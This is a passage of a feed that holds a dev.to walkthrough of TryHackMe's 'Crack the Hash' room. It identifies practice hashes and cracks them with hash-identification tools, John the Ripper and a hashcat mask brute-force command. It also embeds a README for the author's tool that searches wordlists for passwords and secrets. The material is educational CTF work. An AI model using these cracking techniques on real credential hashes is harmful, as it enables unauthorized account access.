&lt;/h2&gt;

&lt;p&gt;Yescrypt is designed to resist brute-force attacks. Effective cracking depends not on raw computation, but on &lt;strong&gt;intelligent wordlist construction and contextual analysis&lt;/strong&gt;. This is why dictionary-based attacks remain the most practical method in CTFs and security testing environments.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>password</category>
      <category>linux</category>
      <category>hash</category>
    </item>
    <item>
      <title>Offline Hash Cracking Tutorial: Crack the Hash Room Walkthrough | TryHackMe</title>
      <dc:creator>Md. Ibrahim Reza Rabbi</dc:creator>
      <pubDate>Sun, 19 Apr 2026 09:04:19 +0000</pubDate>
      <link>https://dev.to/ibrahim71reza/offline-hash-cracking-tutorial-crack-the-hash-room-walkthrough-tryhackme-9be</link>
      <guid>https://dev.to/ibrahim71reza/offline-hash-cracking-tutorial-crack-the-hash-room-walkthrough-tryhackme-9be</guid>
      <description>&lt;p&gt;Can you complete the level 1 tasks by cracking the hashes?&lt;br&gt;
&lt;strong&gt;&lt;em&gt;Question-01:&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hash: 48bb6e862e54f2a795ffc4e541caed4d
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Identifying the hash type (tools used -&amp;gt; "haiti" , "hash-identifier" , "hashid" )&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3pw7l881ops9g89hh5yh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3pw7l881ops9g89hh5yh.png" alt=" " width="800" height="321"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;All indicating MD5 (mode 0)&lt;/p&gt;

&lt;p&gt;Now, put the hash text in the hash.txt file&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgr2qh7o3mf9xo4zq72za.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgr2qh7o3mf9xo4zq72za.png" alt=" " width="800" height="246"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9wzzyq6hlz3bz6nchm76.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9wzzyq6hlz3bz6nchm76.png" alt=" " width="800" height="118"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;Question-02:&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hash: CBFDAC6008F9CAB4083784CBD1874F76618D2A97
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Let's solve this with "john the ripper" tool&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2csmn97v61o2q51aqsup.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2csmn97v61o2q51aqsup.png" alt=" " width="662" height="373"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgv93u1c06o68areai1uq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgv93u1c06o68areai1uq.png" alt=" " width="800" height="107"&gt;&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;&lt;em&gt;Question-03:&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hash: 1C8BFE8F801D79745C4631D09FFF36C82AA37FC4CCE4FC946683D7B336B63032
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;like the 1 -&amp;gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwl6ymudjx5aviy15kcut.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwl6ymudjx5aviy15kcut.png" alt=" " width="800" height="256"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzg3agybv08vlgjz7fkm0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzg3agybv08vlgjz7fkm0.png" alt=" " width="800" height="109"&gt;&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;&lt;em&gt;Question-04:&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hash: $2y$12$Dwt1BZj6pcyc3Dy1FWZ5ieeUznr71EeNkJkUlypTsgbX1H68wsRom
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;It will take many time if we want to crack it by hashcat blowfish method normally&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feouxhend7oaxd70fmsre.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feouxhend7oaxd70fmsre.png" alt=" " width="657" height="274"&gt;&lt;/a&gt;&lt;br&gt;
confirmed “blowfish”&lt;br&gt;
Now, this will take long time crack&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp86tq8dpwfhw45y4mnii.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp86tq8dpwfhw45y4mnii.png" alt=" " width="659" height="174"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So, let’s do brute force as string (Where I don’t know the length and assuming all lowercase letters)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0849qsfvlvgqyuan5pp3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0849qsfvlvgqyuan5pp3.png" alt=" " width="800" height="107"&gt;&lt;/a&gt;&lt;br&gt;
It will also take very much time :’/&lt;br&gt;
But , from internet i know the result is “bleh”&lt;br&gt;
so, for fast work modify the previous code to show it in short time&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6nxx0jm61y6zw5z2miy2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6nxx0jm61y6zw5z2miy2.png" alt=" " width="379" height="112"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It will execute the hash very fast as it know the length and 1st 2 characters of hash crack&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp3lnu1eyxf0q9y7oxfib.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp3lnu1eyxf0q9y7oxfib.png" alt=" " width="800" height="108"&gt;&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;&lt;em&gt;Question-05:&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hash: 279412f945939ba78ce0758d3fd83daa
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Now, this is mine favorite one among all. From, crack station,&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwk4wlra0be0v8rvwe1fy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwk4wlra0be0v8rvwe1fy.png" alt=" " width="800" height="335"&gt;&lt;/a&gt;&lt;br&gt;
Now, I will use mine own create Linux tool which very efficient in password existence finding from wordlists. you can visit this link for more info&lt;br&gt;
&lt;/p&gt;
&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/Ibrahim71Reza" rel="noopener noreferrer"&gt;
        Ibrahim71Reza
      &lt;/a&gt; / &lt;a href="https://github.com/Ibrahim71Reza/password_finder" rel="noopener noreferrer"&gt;
        password_finder
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;🚀 pwfind (Password Find)&lt;/h1&gt;
&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;The Ultimate, World's Fastest Password and Secret Finder for Huge Wordlists.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.rust-lang.org/" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/1f88f2ae669e1db4d9c637142d148993bcf3b884e14919b700325a6281c7ba0b/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4275696c745f776974682d527573742d6632366130303f7374796c653d666f722d7468652d6261646765266c6f676f3d72757374" alt="Rust"&gt;&lt;/a&gt;
&lt;a href="https://kernel.org/" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/e45d3f7f855a346289e3d9b526b78c6c702b06eedec6916c8c3d3ce4da7a4776/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f506c6174666f726d2d4c696e75782d4643433632343f7374796c653d666f722d7468652d6261646765266c6f676f3d6c696e7578" alt="Linux"&gt;&lt;/a&gt;
&lt;a href="https://github.com/Ibrahim71Reza/password_finder#" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/4221a6d4dc2cc8e4e3b1f2b804ec7b46e059fc8e4b20edfa1db2742cbe1b915d/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f546f6f6c2d50656e6574726174696f6e5f54657374696e672d626c61636b3f7374796c653d666f722d7468652d6261646765266c6f676f3d6b616c692d6c696e7578" alt="Pentesting"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Stop crashing your RAM. Start finding secrets instantly.&lt;/em&gt;&lt;/p&gt;
&lt;/div&gt;

&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;⚡ Why &lt;code&gt;pwfind&lt;/code&gt;?&lt;/h2&gt;
&lt;/div&gt;
&lt;p&gt;When penetration testers, bug bounty hunters, or sysadmins work with massive datasets (like a 50GB SecLists dump or massive compressed server logs), standard tools like &lt;code&gt;grep&lt;/code&gt; or Python scripts will either bottleneck on CPU, or load the whole file into RAM and crash the system.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;pwfind&lt;/code&gt; is written in highly optimized &lt;strong&gt;Rust&lt;/strong&gt;. It utilizes multi-threading, memory-safe buffered streaming, and on-the-fly decompression to hunt for exact passwords or regex secrets across millions of lines in a fraction of a second.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;✨ Core Features&lt;/h2&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;🏎️ &lt;strong&gt;Blazing Fast Concurrency:&lt;/strong&gt; Utilizes all your CPU cores to search dozens of files simultaneously.&lt;/li&gt;
&lt;li&gt;🧠 &lt;strong&gt;Hacker Intelligence (Presets):&lt;/strong&gt; Built-in complex Regex patterns to instantly find &lt;strong&gt;JWT Tokens, AWS Keys, IPv4 Addresses, and Emails&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;📦 &lt;strong&gt;On-the-Fly Decompression:&lt;/strong&gt; Searches directly…&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/Ibrahim71Reza/password_finder" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;Now, if you notice you will see there is no single wordlist which have this password in it&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdr3sf5eyv5vqpsiyi4ha.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdr3sf5eyv5vqpsiyi4ha.png" alt=" " width="533" height="774"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So, we have to go for a long bruteforce to crack this :) No quick dictionary attack :'(&lt;/p&gt;

&lt;p&gt;We can use this payload,&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 900 &lt;span class="nt"&gt;-a&lt;/span&gt; 3 hash.txt ?a?l?l?l?l?l?l?l?d?d
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4qoa2d4fs6s6p3xb6907.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4qoa2d4fs6s6p3xb6907.png" alt=" " width="401" height="242"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This will also take time but will work at the end&lt;br&gt;
To ensure you it will work just running a sample case of that code manually,&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1j60z3t83vp8j6kk7ceg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1j60z3t83vp8j6kk7ceg.png" alt=" " width="577" height="135"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7t14g0l3lg9xz37wnt3t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7t14g0l3lg9xz37wnt3t.png" alt=" " width="361" height="65"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhkhhpw0gi9k47xqt0x0k.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhkhhpw0gi9k47xqt0x0k.png" alt=" " width="800" height="110"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Okay now, We will jump to the 2nd level of this -&amp;gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg6i82lhjvxmreakum3y4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg6i82lhjvxmreakum3y4.png" alt=" " width="754" height="120"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;Question-1:&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hash: F09EDCB1FCEFC6DFB23DC3505A882655FF77375ED8AA2D1C13F640FCCC2D0C85
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4924p0shq1bxic7d2lwl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4924p0shq1bxic7d2lwl.png" alt=" " width="800" height="246"&gt;&lt;/a&gt;&lt;br&gt;
Now, lets crack this with SHA-256 mode 1400 by hashcat&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvdjybfveafca856z3axh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvdjybfveafca856z3axh.png" alt=" " width="614" height="423"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffslicgyjvtisy79zn2qs.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffslicgyjvtisy79zn2qs.png" alt=" " width="616" height="418"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fibdfdlesxywn45jf289h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fibdfdlesxywn45jf289h.png" alt=" " width="800" height="107"&gt;&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;&lt;em&gt;Question-2:&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hash: 1DFECA0C002AE40B8619ECF94819CC1B
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, this hash is tricky though it is showing MD5 or any version of MD but it is "NTLM". So, we should not blindly trust the top guess of this tools rather than sequentially test all the hash until we will get the hash cracked.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F33y1clco38tx2kwo5slm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F33y1clco38tx2kwo5slm.png" alt=" " width="800" height="215"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fox16bl1kqq65mhv5p5hl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fox16bl1kqq65mhv5p5hl.png" alt=" " width="800" height="243"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb8b9s3r4dpeaef6kn0hf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb8b9s3r4dpeaef6kn0hf.png" alt=" " width="636" height="386"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdzq1dc58zznl2s5c73r8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdzq1dc58zznl2s5c73r8.png" alt=" " width="800" height="105"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;Question-3:&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hash: $6$aReallyHardSalt$6WKUTqzq.UQQmrm0p/T7MPpMbGNnzXPMAXi4bJMl9be.cfi3/qxIf.hsGpS41BqMhSrHVXgMpdjS6xeKZAs02.

Salt: aReallyHardSalt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3taozp0qixymiibic6nh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3taozp0qixymiibic6nh.png" alt=" " width="800" height="153"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now, it is bit tricky. Go to &lt;a href="https://hashcat.net/wiki/doku.php?id=example_hashes" rel="noopener noreferrer"&gt;hashcat_wiki&lt;/a&gt; and search the $6$ tag and understand which mode is this. -&amp;gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbpz5fqyw9ppl7xnb84ih.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbpz5fqyw9ppl7xnb84ih.png" alt=" " width="800" height="106"&gt;&lt;/a&gt;&lt;br&gt;
